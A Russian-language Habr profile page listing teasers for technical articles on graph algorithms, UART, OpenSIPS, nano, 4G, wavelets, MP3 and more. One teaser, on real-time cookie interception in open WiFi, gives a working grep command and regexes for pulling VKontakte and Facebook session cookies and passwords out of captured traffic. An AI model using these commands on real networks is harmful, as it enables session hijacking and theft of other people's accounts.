Pull to refresh
-1
0

User

Send message

Алгоритм Дейкстры. Поиск оптимальных маршрутов на графе

Reading time3 min
Views439K
Из многих алгоритмов поиска кратчайших маршрутов на графе, на Хабре я нашел только описание алгоритма Флойда-Уоршалла. Этот алгоритм находит кратчайшие пути между всеми вершинами графа и их длину. В этой статье я опишу принцип работы алгоритма Дейкстры, который находит оптимальные маршруты и их длину между одной конкретной вершиной (источником) и всеми остальными вершинами графа. Недостаток данного алгоритма в том, что он будет некорректно работать если граф имеет дуги отрицательного веса.

Для примера возьмем такой ориентированный граф G:

image

Читать дальше →

Расширения Opera — Пусть все знают

Reading time1 min
Views25K
image

В связи с сегодняшним вчерашним выходом финального релиза Opera 11, одной из наиболее популярных функций которого стали расширения, мы решили провести конкурс для тех, кто не может создавать расширения, но при этом вполне способен увлекательно рассказать о них в блогах и статьях на различных ресурсах.
Читать дальше →

Верхом на… сетевом пакете

Reading time4 min
Views6.1K
Я задумался над вопросом: сколько стран предстоит пройти одному сетевому пакету с момента ввода в браузер habrahabr.ru и до приветливого мигания диода на Том Самом Сервере.

image


Начался путь с беспроводного роутера, в моей прихожей. Потом — укртелекомовский сервак (он скрытым пожелал остаться). Затем, минуя Будапешт, направился пакетик в Штаты. Петлял недолго там, и залетев в Германию и Лондон, осел в России где-то.

О том, как это работает и ссылки на исходники/демо читайте под катом.
Читать дальше →

Перехват cookie в реальном времени в открытых WiFi-сетях

Reading time1 min
Views65K


На видео показан угон сессии вконтакте.ру, который почему-то до сих пор не использует авторизацию с https и передает пароли открытым текстом.
Дамп трафика собирается программой kismac в формате libpcap и параллельно парсится grep-ом с использованием регулярных выражений, что позволяет в реальном времени выводить на экран все интересующие куки и пароли. При этом не используется никаких анализаторов пакетов.

regexp для перехвата вконтакте.ру:

tail -F pcap.файл | cat | grep -aEo «remixsid=[0-9a-f]+|l=[0-9]{3,12}|p=[0-9a-f]{36}|email=[^&]+&pass=[^ ]+»

для фейсбука:

c_user=[0-9]+|sid=[0-9]{1,5}|xs=[0-9a-f]{32}

Аналогичная конструкция будет работать и с дампом собранным с помощью airdump-ng.

UART и с чем его едят

Reading time10 min
Views929K
После Vogue истерии появилось множество вопросов, как подключить плату к компьютеру. И многие люди даже не понимают, что же такое UART. И я решил рассказать здесь какой это мощный инструмент.

image
Роутер превращается в компьютер, если к нему по UART подключить клавиатуру и дисплей

От телеграфа к COM-порту


Протокол UART (Universal asynchronous receiver/transmitter) или, по-русски, УАПП (универсальный асинхронный приемопередатчик) — старейший и самый распространенный на сегодняшний день физический протокол передачи данных. Наиболее известен из семейства UART протокол RS-232 (в народе – COM-порт, тот самый который стоит у тебя в компе). Это, наверное, самый древний компьютерный интерфейс. Он дожил до наших дней и не потерял своей актуальности.

Надо сказать, что изначально интерфейс УАПП появился в США как средство для передачи телеграфных сообщений, и рабочих бит там было пять (как в азбуке Морзе). Для передачи использовались механические устройства. Потом появились компьютеры, и коды ASCII, которые потребовали семь бит. В начале 60-х на смену пришла всем известная 8-битная таблица ASCII, и тогда формат передачи стал занимать полноценный байт, плюс управляющие три бита.
Читать дальше →

Майкл Махемофф: «Вы не можете учиться, только читая или слушая»

Reading time8 min
Views1.4K
Майкл Махемофф — авcтралиец, закончил Мельбурнский университет, сейчас работает в лондонском офисе Гугл. По словам Майка, его дальние предки были родом из России и Польши, но родители появились на свет уже в Австралии. На недавнем GDD Майкл произвел яркое впечатление. Харизматичный и эмоциональный, он выделялся даже на фоне традиционно сильных спикеров гугловской команды. Особенно это было заметно на хакатонах, где он был самым заинтересованным и активным участником из десятка присутствовавших гуглеров. Как мне кажется, Майкл Махемофф — одна из восходящих звезд нового поколения Google inc.
Интервью записано чешским блоггером Мартином Хассманом уже после GDDru
elgephest координатор Kyiv GTUG Center (за помощь в украинском переводе спасибо @MsCentaurea)

Майкл Махемофф работает в Google в качестве Chrome Developer Advocate. Он уже много лет пишет для Ajaxian, а также в 2006 году написал книгу Ajax Design Patterns, которая вышла в издательстве O'Reilly. Он автор таких полезных инструментов как ListOfTweets.com, а также забавного проекта IE6IsOlderThanYourGrandpa.com. Он ведет блог на Softwareas.com и активен в твиттере под ником @ mahemoff.

image
Майкл Махемов на JSConf2010
Ты уже пять лет пишешь для Ajaxian, т.е. ты внимательно следишь за развитием в этой сфере. Какие, по твоему мнению, самые важные изменения в JavaScript и AJAX произошли за последние пять лет?
Произошло много изменений, как в нашем понимании JavaScript, которые постепенно совершенствовались, появились, например, библиотеки и такие инструменты как jQuery и Firebug, существенно упростившие жизнь разработчиков. Еще одним преимуществом стало
Читать дальше →

Запустили первую в мире коммерческую магистраль на 100 Гбит/сек

Reading time2 min
Views983
Университет штата Индиана из США и несколько партнерских организаций смогли создать и запустить в работу коммерческую сетевую магистраль с передачей данных со скоростью в 100 гигабит/сек. Стоит отметить, что испытания велись не в США, а в Германии. Кроме того, в настоящее время на основе этой сети ведется испытание в «стрессовых» условиях, если так можно выразиться, файловой системы Люстре (Lustre) (кластерная файловая система). Пока что система показывает себя отлично.

Читать дальше →

Будущий дизайн OpenSIPS

Reading time9 min
Views15K
Предисловие

OpenSIPS — это сигнальный SIP-коммутатор. Если вы хотите обрабатывать реально много SIP-звонков, то, скорее всего, мимо OpenSIPS не пройдете.
Система реально «mature», проверенная в бою и, со временем, обросшая множеством полезных (и не очень) модулей.

Вместе с этим, очевидно, что архитектура, заложеннная еще в 2001 году не отвечает современным требованиям.
Поэтому разработчики OpenSIPS заявили, что версия 2.0 будет вестись «с чистого листа».

Ниже приведен перевод документа OpenSIPS 2.0 Design. Интересно, что думает хабрасообщество по этому поводу.

Комментарии по существу я постараюсь передать разработчикам.

Зачем нужна новая архитектура

Текущая архитектура OpenSIPS (до версии 2.0) основана на концепциях, которым более 7 лет. В то время требования были простыми (простой stateless SIP-прокси, только UDP) и решения принимались в соответствии с этими требованиями. Но со всеми дополнениями, как в SIP так и функционале (таком как TCP/TLS, манипуляции в скрипте, поддержка диалогов, интеграция с внешними системами и т.д.), существующая архитектура больше не может удовлетворять требованиям и реальным сценариям использования.

Внимание! Внутри большой и структурированный текст с картинками.
Читать дальше →

Nano: И всё-таки его придётся выучить [1]

Reading time2 min
Views115K
            Речь идёт о текстовом редакторе nano в Linux.
Я не люблю nano и предпочитаю vim. Однако, в отсутствии vim, выбирая между vi и nano, я всё-таки предпочту nano, ибо как говорится в старой поговорке, «у vi есть два режима: бибикать и всё портить».

Кроме того, идёт активная замена vi на nano во многих дистрибутивах. Например, в новых версиях Debian и Ubuntu по-умолчанию vi устанавливается в самом куцем виде. А главное, его больше нет в busybox install/initrd этих ОС, что однозначно заставляет задуматься об изучении nano, не из любви к нему, а по необходимости.

Я понимаю, что сидеть и зубрить список комбинаций кнопок бесполезно, так что вместо этого я думаю сделать маленькие nano-уроки — по 8 комбинаций или фич за урок (я и сам их планирую изучать по мере публикации).

Nano не имеет «режима команд» как vim, и этим похож на oldschool-редакторы из консоли DOS/Windows (NC, Far Manager, DN, hiew/biew, внезапно втесавшегося в список mcedit и т.д.). Все команды отдаются нажатием комбинаций клавиш — функциональными кнопками или комбинацией Ctrl-буква, Alt-буква.

Важное отличие от 'generic editor' — это поддержка эмуляции Ctrl'а и Alt'а.

Читать дальше →

Как уместить полный рабочий день в 3 часа

Reading time3 min
Views9.7K

Вступление


C системой Аллена меня познакомили около двух лет назад. Начинал пользоваться вариантом Васи Кислого с помощью HTC Touch Pro, но глючность девайса сильно мешала освоить систему, а сам «Успеватель» не давал необходимого уровня понимания. С GTD пришлось на время расстаться.

С того момента многое изменилось. Количество дел и задач, требовавших внимания, значительно увеличилось. Как и уровень ответственности за неудачные или запоздалые решения. Необходимость в помощнике стала настолько значительной, что приводила к реальному эмоциональному дискомфорту.

Попытки вести мобильную версию системы в Nokia E63 с помощью «Активных заметок» привели к покупке книги Дэвида Аллена, переработке статьи В. Кислого, приобретению стабильно работающего, хоть и старенького HTC P3400 (а потом и более современного продукта от HTC) и введению бумажной, физически ощутимой части этой системы.

Итогом переработки стала строгая вариация за моим авторством на тему Дэвида Аллена в обработке Васи Кислого. Благодаря ей, работа стала занимать не больше 3-х часов в день. Но за это время я успеваю сделать действительно много.

Следуя этим принципам, я прихожу на работу к 11-12 часам, работаю плотно и не отвлекаясь до 15 часов. В 15 часов ухожу в зал потаскать железки, прихожу в офис к 17-30, прорабатываю за полчаса все накопившееся с 15 часов. И еду домой.

Пока я не разобрался и не адаптировал под себя систему Аллена, мой рабочий день не ограничивался 8 часами в офисе. Приходилось работать еще вечером дома.

Кому интересно, прошу под кат.
Читать дальше →

Об управлении временем, саморазвитии и деньгах

Reading time8 min
Views13K
Я хочу рассказать о том, почему в отдельности не работают подходы, которые люди начинают применять, прочитав ту или иную книгу из области time-management или управления финансами.

Вся суть заключается в том, что указанные книги зачастую предоставляют лишь готовый инструмент, который, однако, подходит далеко не каждому. А чтобы применить инструмент, сначала нужно обучиться основам дела, за которое вы собираете браться.

Вот, например, езда на автомобиле. Сначала человек меняет свои привычки, установки, доводит до автоматизма простые действия. Затем сдает экзамен, и только потом выезжает на дорогу и начинает набирать настоящий опыт, в процессе которого и становится мастером.

А когда мы говорим об управлении временем, часто случается следующее. Человек прочитал одну книгу, один день попробовал вести хронометраж — бросил, лениво. Написал план на неделю, месяц, год, и ни разу их не открыл. На следующий день писал план первые три дня, а потом забросил — ибо ничего не успевал.

Или с деньгами.
Читать дальше →

Гадание на информационном шуме

Reading time4 min
Views7.2K
Есть довольно обоснованное мнение, что в будущем человечество рискует захлебнуться в лавине информации, которую само же и производит ударными темпами. И что для дальнейшего нашего развития все большую и большую роль будет играть алкоголь умение управлять этой лавиной. И речь здесь идет не только о разделении потока информации на нужное и ненужное, но и о способах заставить даже «белый шум» приносить пользу.

Шаги в эту сторону делают и ученые из HP Social Computing Laboratory в Пало-Альто, Калифорния. Например, на днях ее сотрудники Ситарам Азур (Sitaram Asur) и Бернардо Хуберман (Bernardo A. Huberman) опубликовали интересную работу. В ее рамках они взялись использовать всем известный Twitter для… предсказания будущего. Правда, недалекого.

А если все же отказаться от туманных цепляющих фраз в стиле желтой прессы, то в работе говорится о прогнозировании кассовых сборов кинофильмов до их выхода в прокат. Точность прогноза, основанного на анализе обсуждения фильма в твиттере, оказывается выше, чем у принятого в качестве «золотого стандарта» в киноиндустрии рейтинга Hollywood Stock Exchange. Который, в свою очередь, представляет собой побочный продукт онлайн-игры, участники которой могут за игровые деньги покупать и продавать виртуальные «акции» актеров, режиссеров, фильмов и т.д. В свое время этот рейтинг также стал настоящим прорывом.
Читать дальше →

Начинающим Java программистам

Reading time2 min
Views1.2M
Программирую на Java вот уже 7 лет. Но на работе часто приходится обучать новое поколение. В связи с этим и решил сделать некоторую шпаргалку, которая, надеюсь, пригодится и для хабрчан. Если кто-то может помочь дополнить чем-то информацию из этой статьи, то пишите! Итак:

Основные ресурсы для начального обучения


  • www.javable.com — сайт со статьями и tutorial'ом по Java. Все в основном на русском.
  • www.exampledepot.com — очень полезный ресурс, где собраны краткие примеры использования классов для тех или иных пакетов
  • java.sun.com — без первоисточника не обойтись. Для любого Java программиста JavaDoc должен быть истиной в последней инстанции. Так же здесь можно найти серию tutorial'ов на все возможные темы.

Читать дальше →

WiMax ≠ 4G, LTE ≠ 4G, 4G просто не существует

Reading time2 min
Views14K
Несмотря на большие буквы 4G на рекламных бигбордах с задранной юбкой (а именно задраной юбкой привлекает внимания один из украинских WiMax-операторов), ни мобильный WiMax ни LTE не является «технологией четвертого поколения», и цель заметки провести небольшой «ликбез» на эту тему.

Для начала опредилимся, что такое 3G и 4G.

То что нам известно как 3G описывается в International Mobile Telecommunications-2000 (IMT-2000) — спецификации утвержденной Международным телекоммуникационным союзом (International Telecommunication Union, далее ITU), и радиоинтерфейсы, включенные в «третье поколение» описаны в рекомендации ITU-R M.1457, первая редакция которой была согласована еще в 1999 году.

Изначально рекомендация описывала пять технологий, которые относятся к 3G, однако в 2007 году список был дополнен стандартом IEEE802.16 [1], следовательно WiMax стал третьим поколением мобильной связи.
Читать дальше →

Ультралегкие стартапы в Рунете: уже можно… но лень?

Reading time5 min
Views1.1K
Прочитав статью об основателе ooShirts.com Ричарде Лэе и его бизнесе, опубликованную на Хабре 9 сентября, я очень обрадовался: наконец-то об ультралегких стартапах, которые прекрасно себя чувствуют в “западных интернетах”, заговорили по-русски.

Однако комментарии к посту оптимизма поубавили, и в то же время заставили задуматься: почему отечественный “интернет-деятель” ищет десятки причин, вроде бы объясняющих нереальность повторения успеха Лэя в Рунете (под повторением имею в виду не копирование идеи, а воспроизведение модели ультралегкого стартапа, а уж продукт или услуга могут быть какими угодно), вместо того, чтобы использовать возможности, которые уже есть… или создать новую бизнес-модель, но на базе существующих сервисов?

По моему мнению, девять из десяти успешных министартапов достигают успеха своеобразным “почкованием” на стволе большого и успешного проекта. Так действительно легче — можно сосредоточиться на минимальном наборе операций, делающих твой проект востребованным, а всю рутину, будь то привлечение посетителей или логистика, отдать “большому брату”.

А уж как именно почковаться — зависит от специфики бизнеса. Компания Лэя доверяет печать и отправку заказов стороннему производителю; разработчики приложений в социальных сетях адресуют их многомиллионной аудитории ВКонтакте или Фейсбука; сервисы коротких ссылок обрели популярность благодаря Твиттеру и прочим микроблогам и т.д.

Но если всё так просто — что делает отдельные министартапы звёздами, о которых пишут газеты и блоги? Почему на фотографии именно Ричард Лэй, а те, кто громко кричит о том, что “у нас такое невозможно” — лишь в комментариях? Попробую, не претендуя на истину в последней инстанции, изложить свою версию ответа на этот вопрос, тем более, что получил я его благодаря другой публикации на Хабре… впрочем, обо всем по порядку.

Читать дальше →

Непрерывное wavelet преобразование

Reading time5 min
Views57K
Здравствуйте, уважаемое хабрасообщество.
В последнее время на хабре стали появляться статьи, так или иначе связанные с анализом и обработкой сигналов и изображений (например Обнаружение устойчивых признаков изображения: метод SURF, Интегральное представление изображений от BigObfuscator), в связи с чем я хотел бы вкратце осветить такой инструмент для анализа сигналов, как wavelet-преобразование.

Для того, чтобы понять смысл вейвлет анализа начнем довольно издалека. В данной статье описывается математический смысл (простыми словами) вейвлет-преобразований, о применимости и его дискретной версии я расскажу позднее.

Спектральный анализ — это один из методов обработки сигналов, который позволяет характеризовать частотную составляющую измеряемого сигнала.

Читать дальше →

Внутри MP3. А как оно всё устроено?

Reading time5 min
Views110K


Однажды мне понадобилось решить простенькую (как мне тогда казалось) задачу – в PHP-скрипте узнать длительность mp3-файла. Я слышал о ID3 тегах и сразу подумал, что информация о длительности хранится либо в тегах, либо в заголовках mp3-файла. Поверхностные поиски в интернете показали что за пару-тройку минут решить эту задачу не получится. Поскольку от природы я довольно любопытен а время не поджимало — решил не использовать сторонние инструменты а разобраться в одном из самых популярных форматов самостоятельно.

Если Вам интересно, что там внутри – добро пожаловать под кат (трафик).
Читать дальше →

Обработка звука через Audio Data API

Reading time1 min
Views6.9K
Группа энтузиастов из числа разработчиков Firefox завершили эксперимент по обработке средствами JavaScript звуковых потоков из элементов audio и video. Пару дней назад результаты их труда опубликованы на портале Mozilla Central в разделе Audio_Data_API . Там есть несколько действительно замечательных демок. Эта разработка, скорее всего, будет включена в версию Firefox 4.

Рабочие демки


Визуализация БПФ (средствами JavaScript)

Наложение аудиоэффектов в реальном времени


Фильтр JS IIR

Читать дальше →

FCoE: Будущее Fibre Channel

Reading time8 min
Views50K
image
Шум вокруг планов в отношении Fibre Channel over Ethernet (FCoE), объявление о поддержке его почти каждым производителем в нашей индустрии, все выглядит так, словно этот транспорт намеревается в ближайшее время окончательно вытеснить существующие сети Fibre Channel. Усилия по стандартизации завершились ратификацией, в 2009 году, поэтому многие производители, в том числе (и одними из первых) NetApp, и наш давний партнер Cisco, активно выводят продукты с использованием FCoE на рынок.

Если вы сегодня используете технологию Fibre Channel, вам следует разобраться и подготовиться к приходу этой новой технологии. В этой статье, я попробую ответить на некоторые важные вопросы, которые могут возникнуть о технологии FCoE, такие как:
  • Что такое FCoE?
  • Почему именно FCoE?
  • Каковы возможности FCoE?
  • К чему нам готовиться в будущем?
Читать дальше →

Оптические волокна. Классификация

Reading time4 min
Views174K
Оптические волокно стандарт де-факто при построении магистральных сетей связи. Протяженность волоконно-оптических линий связи в России у крупных операторов связи достигает > 50 тыс.км.
Благодаря волокну мы имеем все те преимущества в связи, которых не было раньше.
Вот и попробуем рассмотреть виновника торжества — оптическое волокно.

В статье попробую написать просто о оптических волокнах, без математических выкладок и с простыми человеческими объяснениями.

Статья чисто ознакомительная, т.е. не содержит уникальных знаний, всё что будет описано может быть найдено в куче книг, однако, это не копипаст, а выжимка из «кучи» информации только лишь сути.

Читать дальше →

Information

Rating
Does not participate
Location
Биробиджан, Еврейская обл., Россия
Date of birth
Registered
Activity